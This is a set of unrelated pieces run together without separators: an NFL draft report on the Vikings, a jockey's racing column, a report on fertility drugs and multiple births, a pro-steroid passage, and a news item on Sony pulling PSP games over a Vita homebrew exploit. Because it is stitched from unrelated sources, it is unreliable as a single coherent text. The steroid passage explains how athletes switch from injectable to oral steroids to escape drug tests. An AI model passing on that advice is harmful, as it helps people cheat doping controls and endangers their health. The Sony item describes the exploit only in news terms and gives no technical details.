After taking the big defensive tackle, the Vikings then went for a big cornerback in Rhodes to help take on some of the big receivers in the NFC North like Detroit's Calvin Johnson and Chicago's Brandon Marshall. He had four interceptions and 12 pass breakups as a junior last season and will help atone for the loss of trusted veteran Antoine Winfield, who signed with Seattle after being released due to salary cap concerns.
Spielman said they received several trade offers at 25, but the need for a cornerback to come in and play opposite Chris Cook was too great.
"Him and Floyd were two of the players that we said we will not trade out for," Spielman said.
Then came the biggest move the night, when the Vikings paid a hefty to price to jump back into the first round for Patterson, a raw receiver with only one season of major college experience. He was a junior college transfer at Tennessee, but his ability to make plays after the catch and in the return game proved too much for the Vikings to pass up.
"We were very, very aggressive to go do that because I know what he can do as a receiver, but especially what he can do as a potential punt and kickoff returner," Spielman said. "Because he is magic in that area as well."
Patterson had 46 catches for 778 yards and five touchdowns last year and said he feels a sense of responsibility to the Vikings after they gave up so much to draft him. He also had three rushing touchdowns, a punt return for a touchdown and a kick return for another score.
"It means a lot to me," Patterson said. "From not expecting to be on the Vikings, it was great to see all that they gave up to get me. I feel like I can be a great player for them."
The one need the Vikings weren't able to address on Thursday night was middle linebacker, where there still is not a starting caliber player on the roster. Many believed the Vikings would use one of their picks on Notre Dame's Manti Te'o. But he was on the board all three times the Vikings were on the clock and they passed each time.
As it stands now, the Vikings do not have a pick on Friday, when the second and third rounds will be held. But coach Leslie Frazier said they could still address middle linebacker on Saturday, and did leave open the possibility of trading back up again.
"The draft is not over," Frazier said. "We have some guys on our roster that can compete for the position and we still have some time to maybe bring in a young guy as well."

Many people have suggested the Champion Hurdle might be on the agenda after his runaway victory in that handicap, but we have not spoken about that yet.
To me, the novice route is the logical path, but who knows what the future holds – just ask Paul Nicholls who, on Tuesday, was saying he thought Tidal Bay had a great chance in the Grand National and on Wednesday he found out the horse would not be running at Aintree after picking up an injury. You can never say for sure that a horse will get to the Festival intact – I cannot say that I will either, for that matter.
This sport is all about taking it day by day. But, getting back to My Tent Or Yours, I can say that physically he has all the attributes of a top class racehorse. He is good looking, he is athletic, he is the perfect model – he is a bit of a David Beckham really.
I always liked Darlan and had great hopes for him but I do not like comparing horses, nobody in racing really does. My Tent Or Yours has the chance to establish his own reputation and identity and he is well on the way to doing that.
As I said here, I was worried about the ground before last week's race but as everybody saw he went through it well enough. He is a very exciting young jumper and will go to Cheltenham with high expectations. If he runs up to the Newbury form, I will be delighted.
For a novice to win a competitive handicap the way he did was quite exceptional. He definitely has a huge future and I cannot wait to get aboard him again. J P has plenty of novices – he also has Jezki in the Supreme Novices' Hurdle – and we must not forget that Binocular is a previous Champion Hurdler and remains very much on course for this year's race.
During the week, the John Smith's Grand National weights were unveiled. Personally, I was interested to see what weight Sunnyhillboy and Colbert Station were given, but that said, I have not even thought about what I might ride at Aintree. It is too far away.
As usual, I am not in a rush to make any decision about a big race ride and there will be no pressure on me to do so. J P is a great race-reader and I would rather listen to him, frankly. If he said ride this or that, then I would. But he will probably leave the choice to me.
Winning the Grand National was one of the great highlights of my career. I know I have said that I would not want to continue riding if I was not champion – so you can judge what the title means to me – but Don't Push It's win in the 2010 National is something I will always remember vividly.
Obviously, it would be great to win another one. But you have to have the right weight – and above all, the right horse – for Aintree. That is never easy.
You may have noticed that I do not often get down to 10st 4lb to ride. However, I am going to give it a go to partner The Bear Trap (3.15) at Ascot today. I managed 10st 3lb on Mr Watson at Cheltenham three weeks ago and it was worth it that time. Let's hope there is a similar outcome here.
I was a bit disappointed that he got beat last time, but that said, I'm happy that there is still improvement in him.
My other ride is in the bumper on Captain Cutter (5.00). This horse won nicely for John Magnier at Ascot and since then has changed owners and now runs for J P McManus. Red Sherlock won by a mile at Towcester and is the one to beat.

On July 12, 2001 a woman, who had been treated with fertility drugs, gave birth to septuplets at a Washington D.C. hospital. But the great risks associated with multiple pregnancies and deliveries raise some health-related questions.
Almost two decades ago, doctors first began to give fertility drugs to women who had difficulty conceiving. The injected hormones help a woman's ovaries release eggs. Often, there are three, four or more eggs which, when fertilized, can yield multiple pregnancies. As a result, since the early eighties, the number of triplets, quadruplets and quintuplets born each year in the U.S. has increased dramatically. Obstetricians are not happy with this outcome. They warn that multiple pregnancies can pose a serious danger to the pregnant mothers and can lead to developmental problems for the babies.
But, Dr. Craig Winkel, chairman of the Department of Obstetrics and Gynecology at Georgetown University Hospital says that such multiple pregnancies can be avoided if the fertility drugs are administered correctly. "I think in general, most reproductive endocrinologists would agree that ovulation induction needs to be carefully monitored, so that you can know how many eggs are likely to be fertilizable," he says. "If there are more than an acceptable number, you would stop the infertility treatment, let things calm down and then restart at a different dose or different medication."
Dr. Winkel says that the whole process is more of an art than a science in the sense that the medical experts who perform the treatment have to choose drugs and dosages that fit the particular patient. During this process they have to perform serial sonograms - visual scans of the uterus - to monitor the ovulation process, that is, to see how many ovarian sacs are developing. These sacs, called follicles, contain fertilizable eggs.
"You cannot actually see the egg, but you can see the follicle, which is the fluid-filled sac in which the egg is maturing," he explains. "You can see the size; and in general, a follicle that's about two centimeters in diameter, should likely contain a mature egg."
Dr. Winkel says if the patient produces a large number of eggs, the physician has to reduce the dosage of the fertility drugs before conception. "What we would do ordinarily, we would recognize that fact," he says. "We would tell the woman that there is a whole bunch of eggs, that that's risky business. We would like to stop the medicine. We would like to not give her the medicine to release the eggs, and we would send her husband to Argentina and her to Alaska. So, they couldn't get together by mistake."
According to Dr. Winkel most reputable fertility specialists are not in favor of creating medically induced multiple pregnancies and believe they can be avoided with proper monitoring. But, he says, if the eggs are fertilized, there is still time to avert a multiple birth, by performing fetal reduction, a form of abortion. Dr. Winkel says this is an invasive procedure. Potassium chloride is injected into the sac where the embryo is growing and terminates the life of the developing fetus.
Dr. Winkel says selective reduction improves the chances of the remaining fetuses to be born healthy and reduces the possibility of a future miscarriage. Still, he says, this is a risky enterprise because it can terminate the whole pregnancy. Also, it is emotionally taxing on the future parents. That's why, Dr. Winkel urges, before the fertility treatment starts, the doctor should discuss these issues with his patients, and be aware of their convictions regarding selective reduction.
"The physician should be aware of the couple's feelings and desires," he says. "If you have a couple that feels they cannot do reduction, you don't put them in a position where they have to go through the potential pain and heartache of caring a multiple pregnancy and then losing all of the babies."
Although monitoring the ovulation process can reduce the danger of a high-order multiple pregnancy, it cannot eliminate it. Dr. Winkel says there are women who can produce a large number of eggs with a very small dose of medication. Some of these patients, he says, may find in-vitro fertilization, fertilization of a set number of eggs outside the uterus, more predictable. "If you put back fewer embryos there would be a less incidence or less likelihood I should say of greater numbers of babies," he says.
In-vitro fertilization costs more than hormone therapy and is more painful. But regardless of the choice of treatment, the key to success, according to Dr. Craig Winkel of Georgetown University, is good communication between the doctor and the patient.

It's no secret there exist a strong anti-steroidal population and as this "anti" feeling is often so emotionally based it can produce some laughable claims. If you've been around the performance enhancing game for any length of time you're familiar with all the names and acronyms so this will probably make you laugh. Yes, there are a few street names for steroids such as juice or roids but those are some very generic terms and really don't point to anything specific. We went to a handful of the anti-steroid websites so desperate to paint anabolic hormones in a bad light and they have made up their own street names for steroids that are quite humorous and they include "Pumpers, Gym Candy, Arnolds, Stackers, Balls and Bulls, A's, Weight Trainers." "Weight Trainers" are you serious, Arnolds? If that didn't make you laugh a little then you don't have a sense of humor but the sad truth is these websites are real and many of them are funded by your government.
Injectable steroids are injected into muscle tissue, not into the veins. They are slowly released from the muscles into the rest of the body, and may be detectable for months after last use. Injectable steroids can be oil-based or water-based. Injectable anabolic steroids which are oil-based have longer half-life than water-based steroids. Both steroid types have much longer half-lives than oral anabolic steroids. And this is proving to be a drawback for injectables as they have high probability of being detected in drug screening since their clearance times tend to be longer than orals. Athletes resolve this problem by using injectable testosterone early in the cycle then switch to orals when approaching the end of the cycle and drug testing is imminent.

More Games Removed From PSN Store, Sony Fears PlayStation Vita Attack
Sony has been concerned with piracy for a long time and with understandable cause. They lost countless amounts of sales of PSP games due to hacked consoles and the downtime caused by the security breach of the PSN last year is well documented. It seems they are determined to prevent the same thing happening on PlayStation Vita, which seems to be the reason for proprietary game cards and memory sticks used on the device.
It also seems that the reason not all PSP games are currently playable on the Vita is due to hackers exposing gaps in the software of some PSP titles to gain access to the Vita firmware, something that is preventing Motorstorm: Arctic Edge hitting the Vita.
Now it also seems that another title is vulnerable to this kind of attack, with Super Collapse 3 now being removed from the PSN store. It seems that these removed titles can allow the running of a piece of software called the 'Vita Half-Byte Loader' (VHBL) which then allows users to run homebrew software through the PSP emulator and onto Vita.
The creator of the VHBL however has stated that his software does not allow for piracy because it only allows access to the 'user mode' of the firmware, and therefore wont allow for the launching of games. It seems that Sony isn't taking any chances however given their past experiences. At least until these holes can be fixed, we now have three titles unavailable on the store.
